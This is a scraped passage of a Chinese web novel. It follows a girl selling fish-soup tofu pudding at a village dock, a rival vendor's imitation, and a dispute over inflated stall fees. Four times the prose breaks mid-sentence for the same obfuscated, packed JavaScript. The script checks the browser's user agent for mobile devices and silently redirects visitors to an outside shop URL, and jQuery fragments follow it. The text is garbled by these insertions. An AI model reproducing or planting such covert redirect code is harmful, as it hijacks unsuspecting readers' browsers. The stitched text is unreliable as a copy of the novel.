“走吧,回去太晚,你姐他们该问了。”沈金宝往前走了两步,又回头补了一句,“回去嘴严点,别一高兴就全秃噜了。” “保证不乱说!”李冬生笑嘻嘻地跟上去。 两人快速消失在夜色中。 回到瓦窑村的时候,天已经黑透了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531171|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月亮高高挂起。村道上一个人都没有,两边的院墙里偶尔传出几声狗叫。 “金宝哥,你那双绿眼睛怎么办到的?太玄乎了!”快到院子口时,李冬生声音仍难掩兴奋。 “涂了点荧光石粉末而已。”沈金宝挑了下眉,脸上带着笑。 李冬生脸上的白粉还没擦干净,额头上被汗冲了一道印子,露出底下一截肉色,下巴上倒是白惨惨的,看着跟戴了半张面具似的。 “你们俩去干啥了?从早到晚不见人影,饭也不回来吃。”她的目光在李冬生脸上一扫,眉头皱得更紧了,“你脸上糊的什么?” 李冬生憋了一晚上的兴奋劲儿还没过,看见半月就冲过去抱住她胳膊,压着嗓门却压不住那股子得意:“胖丫我跟你说,我们在镇上守了一天,好不容易——” “咳咳。”沈金宝不轻不重地咳了一声。 李冬生像被什么东西噎住了,硬生生把后半句咽回去,松开了半月的胳膊,退后两步,开始低头研究自己鞋面上的泥点子。 沈金宝面不改色地走过来,语气还是那副懒洋洋的调子,不紧不慢:“还有饭没?在镇上忙忘了时辰,晚饭都没吃上,饿得前胸贴后背。”他一边说一边揉了揉左边膝盖,动作很自然,像是真的走了一天走累了。 灶房里飘出粥的香气,混着柴火燃烧后的余温。刘翠兰端着两碗粥走出来,碗底垫着抹布防烫。她先是瞪了沈金宝一眼。 这沈金宝一整天不着家,还带着冬生一起野! 又看见李冬生脸上白一道灰一道花里胡哨的,气得把碗往石桌上重重一搁,粥在碗里晃了两晃差点溢出来。 “等你们一晚上了,饭菜热了好几遍!跑哪儿野去了?冬生你这脸上糊的是啥?面粉?石灰?你把自己当馒头滚了?” “就在镇上随便逛了逛,金宝哥带我……”李冬生求救地看向沈金宝,眼珠子滴溜溜转,话到嘴边硬是拐了个弯。 “我带他去临摹了几个书法大家的字。”沈金宝脸不红心不跳。 他走到石桌边端起粥碗,低头吹了吹热气,语气随意得像在说今天天气不错:“东街口有个老先生摆摊代写书信,一手颜体写得不错,我让冬生跟着学了学间架结构,临摹得入神,忘了时辰。” “对对,我们去学习书法了,学了一整天!”李冬生点头如捣蒜。 刘翠兰怀疑地瞥了沈金宝一眼,学书法能学得脸上白一块灰一块?但她又懒得深究,反正人回来了,没缺胳膊没少腿,管他们搞啥子名堂。 她伸手在李冬生后脑勺上拍了一下,力道不轻不重,正好让这小子往前踉跄了半步:“去洗把脸!糊得跟花脸猫似的,像什么样子!” “嘻嘻,这就去。”李冬生摸了摸后脑勺,嘿嘿笑着跑去井边打水了。 “下次不准这么晚回来!”李有福坐在屋檐下编竹筐,他抬头看了眼沈金宝,板着脸说了句。 20. 鱼汤豆腐脑 “知道了。”沈金宝应了一声,端着碗低头喝粥,没多说。 半月靠在灶房门口,目光在沈金宝和李冬生之间来回扫了两遍。学书法,临摹,忘了时辰?沈金宝这套说辞编得倒挺圆。 可冬生那小子的兴奋劲儿,分明不是练字能练出来的。再看他俩那一身灰、一裤腿泥、冬生脸上那白粉,这怎么可能是去写字了?真要是写字,能写出一身石灰味儿来? 但现在问不是时候,刘翠兰和李有福都在场,真问出啥来反而不好收场。她按下不问,转身进了灶房,把剩下的粥和菜端上桌。 碗筷叮叮当当摆好,一家人围坐在石桌旁安静吃饭。 饭吃到一半,半月喝了一口碗里的粥,忽然开口:“沈金宝,你脚今天走了一天,不疼?” 沈金宝愣了一下,抬头看她。 她这是在关心自己?听着不太像啊。 “还行。”沈金宝夹了一筷子咸菜,神色如常。 “还行就别老往外跑。”半月端起碗,语气平平。 “冬生还得上学,你脚没好利索,消停些在家歇着不行?” 沈金宝没顶嘴,只“嗯”了一声,低头继续喝粥,难得的老实。 倒是李冬生急了,放下筷子,嘴里的粥还没咽下去就开腔:“胖丫,金宝哥是陪我去——” “吃饭。”沈金宝打断他,眼皮都没抬。 李冬生把后半句咽了回去,低头扒粥。 院子里安静下来,只剩下碗筷碰响的声音。灶房里的火光从门口泄出来,把石桌照出一片昏黄,几只飞蛾绕着火光扑棱棱地飞,墙角的枣树影子被风吹得晃了晃。 吃完饭,刘翠兰收拾碗筷,把剩的杂粮粥倒进一个瓦盆里盖好,明早热一热就能吃。 李有福搬了条板凳坐在院子里继续编竹筐,手边的篾条堆了一小捆,筐底已经编了大半,经纬分明,密实得很。编竹筐不需要灯,他闭着眼都能编,手指头比眼睛认得路。 李冬生拉着沈金宝坐在柴房门口,说了一长串话。沈金宝半闭着眼睛,偶尔“嗯”一声,也不知道听进去没有。 第二天一早,河面上的雾气还没散尽,码头上已经有了三三两两的人声。孙大娘的豆腐摊已经支好了,木盆里泡着白嫩嫩的豆腐,旁边竹筐里码着几板豆干。 “胖丫来了啊——”孙大娘远远就冲她招手,“今儿个有新鲜豆干,给你留了一份,回头带回去给你娘尝尝。” “大娘早。”半月笑了笑,“我娘昨儿还念叨您家的豆干呢,说切丝炒韭菜香。” “那是!”孙大娘一拍手,“你娘是个识货的。我跟你说,我这豆干可都是用老卤煮的,外头吃不着这个味儿。” 两人说笑几句,半月把瓦罐卸下来,铺开粗布,碗一只只摆好。孙大娘那边也忙开了,把豆腐一块块翻了个面,让它们在水里泡得均匀些。 日头渐渐升高,工人陆续上工。半月舀汤、收钱、找零,手脚不停。鱼汤的鲜味顺着河风飘出去老远,老主顾们不用吆喝就排了过来。 “胖丫头,你家这汤啊,我一天不喝,浑身不得劲儿。”一个黑脸汉子把碗递回来,从怀里摸出一文钱。 半月笑着接了,手上不停。 孙大娘那边生意也不错,豆腐、豆干,来买的都是附近镇上的妇人,也有工人顺手带两块豆腐回去。 收摊的时候,孙大娘擦着手凑过来,往半月身边一站,压低声音:“胖丫,听说了没?明儿开始要收摊位费了。” 半月手里正收拾瓦罐,动作一滞:“收多少?” “十文钱一天,说是新规矩。”孙大娘啧了一声,“你说说,码头又不是谁家后院,搁这儿卖了多少年了,突然就要收钱。我问了管事的,说是上头的意思,不交就挪地方。挪哪儿去?挪到城外头去,谁还来买?” 半月心里一沉,才听赵叔说码头上会有变数,没想到来得这么快。她一天卖鱼汤,刨去买鱼货和搭牛车的花销,也就赚二十来文,十文钱交出去,就剩十几文了。 “都收?”半月问。 “都收,一个也跑不了。”孙大娘把抹布往摊子上一甩。 她转头看了看半月,语气缓下来:“不过胖丫你这生意好,一天十文不算啥。不像我这摊子,卖豆腐能挣几个利?交了摊位费,剩下的也就够买把青菜。” “大娘说笑了。”半月把钱袋子系好,“日子总得往下过,交就交吧。” “你倒是想得开。”孙大娘站起来,拍了拍膝盖上的灰,“走了,明儿见。” 半月应了一声,收拾好东西往回走。 一路上她算了笔账:十文钱一天,一个月就得三百文!虽然肉疼,但他们一家子得吃饭,只能先咬牙交着。 到家的时候,刘翠兰正在院子里晾衣裳。半月把铜钱倒在石桌上,哗啦啦一小堆。 刘翠兰眼睛一亮:“哟,今天不少嘛。” “嗯。”半月把钱数了数,“娘,码头上要收摊位费了,一天十文。” 刘翠兰的笑容一下子没了,她把手里湿衣裳使劲一抖,水珠子溅得到处都是。 “十文?!凭什么啊?码头是他家的?咱们在那儿摆摊碍着谁了?” “说是新规矩。” “规矩个屁!”刘翠兰嗓门越来越大,“就是看咱们小老百姓好欺负!你爹在码头上扛活,你在码头上摆摊,咱们一家人的饭碗都在码头上,他们倒好,张嘴就要钱!” “娘。”半月走过去帮她把衣裳搭好,“爹扛活是给工钱的,我摆摊也挣了钱。码头要是真管好了,干净了,来的人多了,也不一定是坏事。” 刘翠兰哼了一声,满肚子火气没处发,把衣裳扯得哗啦啦响:“说得好听!咱老百姓挣个钱容易吗?你爹腰都快断了,你天不亮就爬起来熬汤,到头来他们动动嘴皮子就要抽一份走!” 沈金宝从屋里出来,手里端着个药碗。他看了一眼院里的情形,走到石桌边坐下,一边拆脚上的草药布条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533634|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一边慢悠悠地开口:“婶子别气了,十钱买个安稳,也不算亏。” 刘翠兰回头看他:“啥意思?十文钱还不亏?” 沈金宝没抬头,一圈一圈往下拆布条:“码头上的摊位,一个挨一个,多少人盯着。交了钱,名正言顺占住那块地方,不比哪天被谁挤走了强?再说了,胖丫生意正好着,为这十文钱跟码头闹僵了,划不来。只要生意稳得住,这些钱迟早赚回来。” 刘翠兰张了张嘴,没接上话。 沈金宝把拆下来的旧布条搁在一边,重新往上缠新的草药布条,一圈一圈,缠得又紧又整齐,嘴里的话却还没说完:“码头上的事,最怕的不是花钱,是有人惦记你那个位子。交了摊位费,就是承认你在那儿摆摊的份儿。” 刘翠兰憋了半天,重重叹了口气,弯腰捡起掉地上的衣裳,嘴里嘟囔着:“你们一个两个,说话一套一套的……我不管了,反正你们心里都有数。” 半月看了看沈金宝,心想他平时看着不着调,看事情倒是一眼就能看到底。 日子就这么过了几天,半月每天交十文钱,生意照做。 每天收摊数铜板,先数出十枚搁到一边,那是明天的摊位费,不能动。 为了创收,她开始琢磨加新品的事。光鱼汤太单调,码头上的工人干的都是体力活,一碗汤下肚不顶饿,要能在汤里加点实在东西,多收一文钱,工人也愿意掏。 她想起上辈子在一家老字号喝过的鱼汤豆腐脑,鱼骨熬的底汤,浇在刚点好的嫩豆腐上,鲜得能把舌头吞下去。 豆腐脑不难做,石磨磨黄豆,滤出豆浆,点卤水,焖一会儿就能成,关键是嫩滑。 半月试了好几回,头一回卤水点急了,豆腐脑老得能用筷子夹起来,第二回豆浆凉了才点卤,出来一锅稀散的豆花。刘翠兰端起来看了看,说“拌咸菜还能吃”。 半月没吭声,又开始第三回。豆浆煮沸了撤柴,等热气收了,一点一点往里加卤水,勺子慢慢推。推到勺子底下的豆浆开始往回顶的时候,她停了手。 豆浆凝起来了,颤巍巍的,勺子碰一下盆沿,整盆都跟着轻轻晃。 她舀了小半勺给刘翠兰,刘翠兰尝了一口,咕咚咽下去了才腾出嘴来:“哎哟我的老天!这个好,比镇上豆腐坊那个还嫩!人家那个要拿勺子舀,你这个舌头一抿就没了!” 刘翠兰又舀了半勺,这回细细品了品,啧啧两声:“胖丫,你咋捣鼓出来的?你以前也没做过豆腐啊?” “从头学呗。”半月笑了笑,把那桶豆腐脑小心翼翼挪到阴凉处。 “娘,我先出门了,这豆腐脑得趁热配着鱼汤卖!” 半月把装豆腐脑的木桶盖好,瓦罐里装上热腾腾的鱼骨汤,又多带了一摞粗碗,乘牛车出了门。 到了码头,她把木桶放在粗布上,掀开盖子。白气裹着豆香往上冲,旁边几个工人吸了吸鼻子,脖子不约而同往这边扭。 “胖丫头,你这是捣鼓的啥?” 21. 双倍摊位费 一个年轻工人端着空碗凑过来,往木盆里探头:“白生生的,豆腐?” “鱼汤豆腐脑。”半月舀了小半碗豆腐脑,浇上滚烫的鱼骨汤,奶白的汤裹着嫩白的豆腐脑,上头撒一撮野葱碎,碧绿碧绿的,“您尝尝,不要钱。” 年轻工人接过去,吹了两口气就往嘴里灌。灌了一半,他停住了。 旁边人急了:“到底啥味你倒是放个屁!” 年轻工人没理他,把剩下半碗全灌下去,喉结上下滚了两滚,从怀里摸出两文钱,“啪”地拍在粗布上。 “再来一碗!满的!” “嘿,你还真是个闷嘴葫芦!胖丫头给我也来一碗!” “我要两碗!多搁汤!” “豆腐脑能不能多加点儿?别抠抠搜搜的……” 半月笑着连连应声,手脚不停。 排队的人自己带了碗,有人端着豁了口的粗瓷碗,有人拿饭盆子。不到半个时辰,木桶见了底,瓦罐里也只剩个汤底。 快收摊的时候,孙大娘从斜对面走过来,往半月木桶里看了一眼。 她弯腰舀了桶底剩下的一点碎豆腐脑,搁在手心里端详了一阵:“胖丫,你这豆腐脑咋做的?我卖了半辈子豆腐,豆腐、豆干、豆皮都行,就这豆腐脑,回回做回回不成,不是老了就是散了。” 半月想了想,把碗搁到一边,擦了擦手。 豆腐脑这东西,说到底就是豆浆点卤水,火候到了就行。卖豆腐的不会点豆腐脑,可能是卤水比例没摸对,也可能是火候那一关没找到门道。 “豆浆要滤两遍,烧开了不能马上点,得晾一会儿,等热气收一收。卤水一点点加,拿勺子推着,推到感觉豆浆开始往回顶勺子的时候,就别动了,盖上盖闷着。”半月觉得这不算什么要藏着掖着的秘方。 孙大娘听得眼睛一眨一眨的:“就这么简单?” “就这么简单。” “我还当有什么独门秘方呢。”孙大娘笑了一声,站起来拍拍膝盖上的灰,“行,回头我也试试,成了头一碗请你尝。” “成。”半月没当回事,端起洗好的碗搁到竹篮里。 第二天出摊,鱼汤豆腐脑在码头上卖开了。昨天尝过鲜的人早早就等着了,还带了工友来。 “就是这家!她家的鱼汤豆腐脑,鲜得你舌头都能掉下来!”一个瘦高个扯着嗓子跟同伴介绍,那语气像自己发现了什么宝贝。 半月笑着给他们一人舀了一碗。 白嫩嫩的豆腐脑浇上滚烫的鱼骨汤,热气顺着河风飘出去,摊前排起了长长的队伍,弯弯曲曲从石板街这头排到那头。 孙大娘的豆腐摊前还是老样子,买豆腐的妇人、买豆腐干的老头,三三两两,不温不火。 过了两天。 半月照常出摊,支好瓦罐和木盆,直起腰来活动活动脖子,眼睛往码头两边扫了一圈。 然后她顿住了——孙大娘的摊子上多了一个木盆,盆口盖着白布,边角掖得严严实实。 半月走过去的时候,孙大娘正给一个老太太舀东西。白布掀开了,里面是白嫩嫩的豆腐脑,和她做的看着一模一样。 “豆腐脑哎~早起新做的,热乎又爽口!一文钱一碗……”孙大娘嘴里热情吆喝着。 她抬头看见半月,脸上的笑比以前还热络:“胖丫!你来得正好!” 她从旁边摸出一只干净碗,给半月盛了小半碗递过来:“快尝尝!你上回说的法子,我一试就成了,就是费功夫,熬了大半宿,你尝尝,跟你的比比?” 半月接过碗,低头看了看,豆腐脑在碗里轻轻晃了一下,嫩是真嫩。她没吃,把碗搁在摊子边上了。 “大娘手艺好,做得挺好。”她说。 孙大娘看了看那只被搁下的碗,又把碗往半月手里推了推。 推了两下,见半月不接,才把手收回去,声音放低了些:“胖丫,你别多心,你卖你的鱼汤豆腐脑,我卖白汤的,咱各卖各的,不碍事,大娘就是想多挣几个铜板,家里等着用钱呢。” 半月“嗯”了一声,没多说什么,转身走回自己摊子。 她把一只干净的空碗翻过来,扣在粗布上,碗底碰着石板,发出一声脆响。 豆腐脑是先她做的,法子也是她告诉孙大娘的,现在孙大娘也开始卖了,她没有立场说不让卖,可心里总归有点堵。 当天回去,半月进门的声音比平时轻。 刘翠兰在院里收衣裳,回头看了她一眼:“回来了?” “嗯。”半月笑了笑,嘴角却收得快,不等刘翠兰看清就转过去了。 她没提孙大娘的事,说了又能怎样呢?娘那个脾气,知道了准要跳起来骂,明天冲到码头上跟孙大娘吵一架也不是没可能。 可吵完了呢?摊子还摆不摆了。半月在心里把账一算,觉得这事还是搁在自己肚子里划算。 沈金宝正坐在石桌另一边,手里捏着根细树枝,在地上划拉着教李冬生写字。李冬生蹲在旁边,脖子伸得老长,嘴里念叨着“这一撇撇到哪儿去了”。 半月搁下竹篮,挽起袖子往灶房走。 “怎么了?”沈金宝的声音从身后传过来,不紧不慢的。 半月脚步顿了一下,没回头:“没什么。” 灶房的门帘掀起来又落下去。 沈金宝望着那扇还在晃的门帘,手里的树枝在泥地上顿了一下。李冬生等了半天没等到下一笔,抬头看了看他:“金宝哥,你这横还没写完呢。” 沈金宝把树枝转了个方向,继续写,落笔的力道比刚才重了些,泥地上划出一道深痕。他在黄龙县混了十八年,什么人没见过? 脸上挂着笑、嘴里说没事的,要么是不想说,要么是觉得说了也没用。不管哪种,都不是他一个借住的外人方便追问的。他把那横写完,收了笔,没再往灶房的方向看。 一晃又过了两天。 孙大娘的豆腐脑越做越顺,一开始还有人念叨“还是胖丫头那个嫩”,后来就有人说她的豆腐脑嫩滑一点不输半月的了。而且孙大娘卖得便宜,白汤改为浇一勺卤水,价钱却是半月的一半。 但码头上真正扛活吃饭的工人嘴刁,他们喝惯了鱼汤豆腐脑,那种鲜劲挂在喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535515|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咙里,走到孙大娘那边端起一碗白汤的,总觉得少了什么。 有人不信邪,两边各买了一碗比着喝,喝完把碗一搁,摇摇头又回到半月的摊子前头。 “胖丫头,还是你这个浇鱼汤的够味。她那个淡得跟喝水似的,一文钱是便宜,不过瘾啊。” “就是,你这一碗顶两碗,肚子里暖和。” 半月手上舀汤的动作没停,心里暗暗松了口气,她没搭这个茬,只笑着说:“那您多喝点,汤管够!” 孙大娘的摊前也有客人,多是图便宜的老头老太太,一文钱的豆腐脑配个干饼子,也能凑合一顿。 也有人头一回来尝鲜,吃完了咂咂嘴,说嫩是嫩,就是淡了点。孙大娘便从旁边罐子里多舀了半勺卤水浇上去,笑着说:“下回给您多加卤子,咸滋滋的就有味了。” 可大部分的人,还是往半月那边跑。 孙大娘坐在摊子后头,手里的抹布攥了又攥。她看着半月那边弯弯曲曲的小队伍,脸上的笑不知什么时候收了。有人来买豆腐,她应得也不如往日热络,眼睛总是往半月那边飘。 这天快收摊的时候,半月正蹲着洗碗,远远听见一串铜钱响,码头管事的来了。 他穿着青布短衫,腰间别着木牌,手里捏着一串铜钱。走到半月面前,往她摊子上扫了一眼,瓦罐、木桶、一摞碗,然后把手一伸。 “交摊位费。” 半月抬起头,手还在碗沿上搭着。早上不是才交过? “管事,早上交过了。”她站起身,耐着性子说。 管事脸色一沉:“你这又是卖鱼汤,又是卖豆腐脑的,两样东西自然要交两份钱,一天二十文!” 半月心头一紧,攥着钱袋子的手指收紧了,她前些天卖豆腐脑,也没说要收两份钱啊? “管事,我这豆腐脑是配鱼汤的,算一样东西……”她试着解释。 “鱼汤是荤的,豆腐脑是素的,能一样?”管事不耐烦地一挥手。 他指了指旁边的孙大娘:“你瞧瞧人家,豆腐、豆干、豆腐脑,都是豆子做的,当然算一样。你这一荤一素,就得算两样,码头上的规矩,又不是单给你一个人立的。” 半月顺着他的手指看过去,孙大娘正低头收拾豆腐板,没有看这边,侧脸绷着,嘴角抿得紧,手上的动作比平时快了许多,像是在赶着做什么事。半月看了她两秒,把目光收回来。 旁边还没散的工人围过来。 “两样东西就两份钱?这什么规矩!” “胖丫头卖豆腐脑又不是头一天了,前几天怎么没见你来收?” 管事把手一背,扫了那几个工人一眼,嗓门不高却端着十足的派头:“规矩就是规矩,不交也行,明天别在这儿摆摊了,有的是人等着这个位置。” 说完也不跟工人们纠缠,只把手伸到半月面前,下巴微微抬起,眼睛盯着她,那意思很明白:少废话,掏钱! 半月咬了咬下唇,从钱袋子里又摸出十文钱,刚要搁在管事手心里。 “先别交!”沈金宝从人缝里挤进来,手里拎着个粗布小包袱。 22. 荤素分家? 沈金宝把包裹往半月摊子上一搁,语气稀松平常:“出门连干粮都能忘,还得小、哥哥我给你送过来。” 说完,他转过身,不着痕迹地把半月挡在了身后,这才抬眼看向码头管事:“荤素分家?” “那卖肉包子的,皮是面做的,素,馅是肉做的,荤。按您的规矩,卖肉包子也得交两份钱?”沈金宝嘴角微微一弯,语气不急不慢。 旁边几个工人“嗤”地笑出了声。 管事的眼神闪了一下,一时语塞没接上话。 沈金宝也不等他回答,继续说:“还有卖馄饨的,皮是面,馅是肉,汤是骨头。三样,得交三份?码头上这么多摊子,挨个照这规矩收一遍,光一天就能多收好几两银子吧。” 几个工人笑得更响了,有人拿胳膊肘捅旁边的工友:“这小哥嘴是真刁。” 管事的脸色沉下来,把沈金宝从头到脚打量了一遍。衣裳是旧的,脚还有点跛,不像什么有钱人家的公子哥。可那张脸、那周身的气势,怎么看都不像庄稼人,口音也不像本地的。 “你谁啊?” “她远房表哥。”沈金宝下巴朝半月点了点,“看她一个姑娘家在外头让人为难,心里过不去。” “表哥?”管事皱了皱眉,将信将疑。 “您甭管我谁。”沈金宝两只胳膊交叠在胸前,“我就想问清楚,这规矩是您自个儿定的,还是码头上刚出的新规矩?” “当然是码头上的新规矩。”管事的声音拔高了一点,但底气不太足。 “那您有文书吗?盖了官印的那种,您拿出来我瞧瞧。”沈金宝往前迈了半步,左脚落地时顿了顿才站稳。 “我虽然在镇上待的时间不长,但也知道,码头上的摊位要收费,必然是统一定价,没有说按几样东西分开收的。您要是能拿出文书来,我们照交,一文不少;要是拿不出来……”他没把话说完,只是笑了一下。 管事嘴角抽了一下,面上带上些怒意。 他当然拿不出什么文书,这话是有人私下递到他耳朵里的。这话是有人私下递到他耳朵里的,那人塞了他四十文,让他给这胖丫头找点麻烦,赶不走也得吃吃教训。 四十文不多,也不少,他收了钱,总得办点事。 “你这个……”管事咬了咬牙,指着沈金宝,“你一个外乡来的,管我们码头上的闲事?” 沈金宝不慌不忙:“我没管闲事。我就是帮她说句话。”他偏头看了看半月,又转回来,“她一个姑娘家,每天起早贪黑的熬汤,挣几个辛苦钱。您一开口就要双份,她不敢吭声,我替她问清楚,不过分吧?” 周围围观的人视线全落在管事身上,开始小声议论起来。 “人家说得在理啊,卖了几十年也没听说分荤素收钱的!” “就是,欺负老实人嘛!” 议论声不大,但一句一句往管事耳朵里钻,他脸上有点挂不住了。 这会儿当着这么多人的面,他要是硬多收一份钱,闹大了,传到上头耳朵里,他这个肥差未必保得住。为四十文钱把自己搭进去,不值当。 “行了行了。”管事不耐烦地摆摆手。 “今天就按一份收,下不为例!以后卖什么都先来报备,别自己瞎添。”说完瞪了一眼孙大娘的方向。 孙大娘眼神躲闪,根本没敢往半月这边看。 管事甩了下袖子,转身要走。 沈金宝追了两步:“管事!” 他从袖子里摸出方才半月没给出去的那十文钱,塞进管事手心里:“大中午的您跑一趟不容易,这十文钱请您喝茶。我们这摊子小,以后哪里不合规矩您只管说,该改的我们改,今天这事您也别往心里去,都是为了把日子过下去。” 管事低头看了看手心里的十文钱,又抬起眼皮看着沈金宝:“你这小子,该硬的时候硬,该软的时候软,倒是挺会来事。” “是您大气,不跟我们计较。”沈金宝陪着笑脸。 说完又侧身朝围观的人群拱了拱手:“诸位,一场误会,都散了吧,散了啊!” 围观的人群见事主都发了话,也没什么热闹可看了,三三两两的散了。 管事把铜钱揣进袖口,看了沈金宝一眼,笑了一声,转身走了。 围观的人群见事主都不说话了,便三三两两散了。 码头上恢复了往日的嘈杂,河风把摊棚上的粗布吹得鼓起来又瘪下去,远处货船上传来卸货的号子声。 半月拿起沈金宝搁在摊子上的那个粗布包袱,走到他跟前:“刚才谢谢你了!” “客气。”沈金宝把目光从管事背影上收回来。 “你走路来的? “嗯。” “你脚还没好利索,从村里走到码头这么远,就为了送几张饼子?” 沈金宝顿了一下,随即把脸偏向一边:“当然不是。我来镇上办点事,你收摊了在码头口等我,一起回去。” 他转身就走,刚走了两步,又停下来,瞟了一眼孙大娘的方向。孙大娘正弯腰收摊,把木盆里的水泼在地上,头也没抬。 沈金宝回过头,压低声音叮嘱了一句:“对了,你小心点那个卖豆腐的孙大娘。” “孙大娘?”半月一脸疑惑。 愣神功夫,沈金宝已经走远了。 半月看着他的背影问:“你去办什么事?” 沈金宝只背对她挥了挥手,没有回答。 半月目送他的背影消失在街口,又看向孙大娘的豆腐摊。摊子已经收了,木盆倒扣在石板上,人不知何时已经离开了。 为什么要小心孙大娘?半月在心里把这个问号翻了两遍,没翻出答案,也就不去想了。 她打开粗布包袱,里头是两个杂粮饼子和一块咸菜疙瘩。她咬了一口饼子,饼子凉了,咬下去有些硬,她就着一小口咸菜疙瘩慢慢嚼,嚼着嚼着,倒嚼出些粮食的本味来。 这种有些拉喉咙的杂粮饼子,是大宁朝百姓最常吃的,更有甚者,连这样的饼子都吃不起。 半月望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537414|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里剩下的饼子,忽然冒出一个念头:如果有一天,她能把饭馆开满大宁朝每个角落,让所有穷苦人都吃上一碗热腾腾的好饭,该是多好的一件事。 不过这个念头太大了,大得她自己都有点不好意思。她把饼子塞进嘴里,咸菜疙瘩嚼得咯吱响,像是在给自己提气。 另一边,沈金宝沿着青溪集市走到镇中,在一家旧书坊门口停下来。 门楣上的匾写着“文书阁”,黑漆剥落了不少,露出底下灰扑扑的木胎。 柜台后面坐着一个老先生,正握着一支蘸了朱砂的细毫,在一本旧书上圈圈画画。 沈金宝站了一会儿,才走进去。 “掌柜的,你们这儿收抄书的吗?”他声音客客气气的,却带着丝不自然。 这是他这辈子头一回主动找活干。 老先生抬起头,上下打量他,衣裳旧,但干干净净,面相不像做苦力的,瞧着像是读过书的。 “抄过什么?” “四书五经都可以,《千字文》、《百家姓》也行。”沈金宝从怀里摸出一张折好的纸,展开来,“这是昨晚写的,您先看看。” 纸上是他用李冬生的笔墨和粗纸写的《千字文》开篇。字迹工整,筋骨分明,有些笔划还带着一点早年练字的余韵。粗纸洇墨,他落笔时用了巧劲,没让墨晕开。 老先生接过去看了看,眼里透出一起欣赏,他抬眼看向沈金宝:“一天能抄多少?” “看字数,一千字大概两个时辰,您要的量多,我可以多抄。” “《论语》前半部,三天,三十文。”老先生从柜台底下抽出一沓粗纸和一本旧书,递过来,“抄完了送来,我看看再说。” “成。”沈金宝接过纸和书,折好塞进怀里,转身出了书阁。 三十文,离赎回娘亲遗物,还差得太远。 出了文书阁,他绕了几条街,在钱氏当铺对街的巷口站了一会儿,才点着左脚,往码头方向走。 到码头口的时候,半月已经收好摊了。她提着竹篮,站在一棵大槐树下等他,树荫遮了半张脸,风吹过来,树叶沙沙响。 “办完了?”半月问。 “嗯。”沈金宝接过她手里的竹篮,“走吧。” 两个人沿着河堤往回走,谁都没说话。夕阳把他们的影子拉得又长又细,一前一后,歪歪斜斜的。 沈金宝走不快,脊背却挺得笔直。半月也放慢步子等他,两个人中间隔着一只竹篮的距离。 走出码头好一段路,河面上的风吹过来,带着一股淡淡的鱼腥味。半月忽然开口:“你今天为什么让我小心孙大娘?” 沈金宝没马上回答,他走了几步,才说:“你有没有注意到,码头管事临走的时候,瞪了孙大娘一眼?” 半月脚步微顿,回想了一下那个画面,管事转身前,目光确实往孙大娘的方向扫了一下。当时她以为管事只是随便看一圈,没多想。 “你是说……摊位费的事跟她有关?””半月皱了皱眉。 23. 有什么秘方? “豆腐脑是你教她的,她学去了,自己也卖。卖不过你,她心里不痛快。她在这个码头上卖了二十年豆腐,头一回有人抢她的生意。这不是你的错,但她不一定会这么想。”沈金宝不紧不慢的说。 半月沉默了,低头看着脚下的土路。 她想起这些天孙大娘的变化,从热络到话少,从话少到冷淡,那张总是笑呵呵的脸什么时候开始绷着的,她竟然说不上来。 还有今天管事的指着孙大娘的摊子说“人家都是豆子做的”,那语气,像是提前对过词似的。 “我知道了。”半月的声音有点闷。 到家的时候,院门半掩着。半月推开门的动作比平时重了一点,门框上的灰扑簌簌落了几粒。 刘翠兰在灶房里做杂粮面饼,听见响动朝院子里喊了声:“回来啦!” 半月提着瓦罐走进灶房,搁在灶台上:“娘,今天生意不太好,汤没卖完。”她没提差点被收两份摊位费,自己提前收摊的事,怕刘翠兰担心。 刘翠兰抹了把头上的汗,乐呵呵地说:“这有啥?谁还没个生意不好的时候。搁那儿吧,一会儿热一热,咱自己喝。” 半月嘴角弯了弯,洗了手帮刘翠兰一起揉杂粮面团。面团粗,揉起来有沙沙的声音,听得半月心情都跟着放松了不少。 沈金宝把摆摊的杂物拎进灶房,转身回了自己住的柴房,再出来时,手里捏着一沓粗纸。 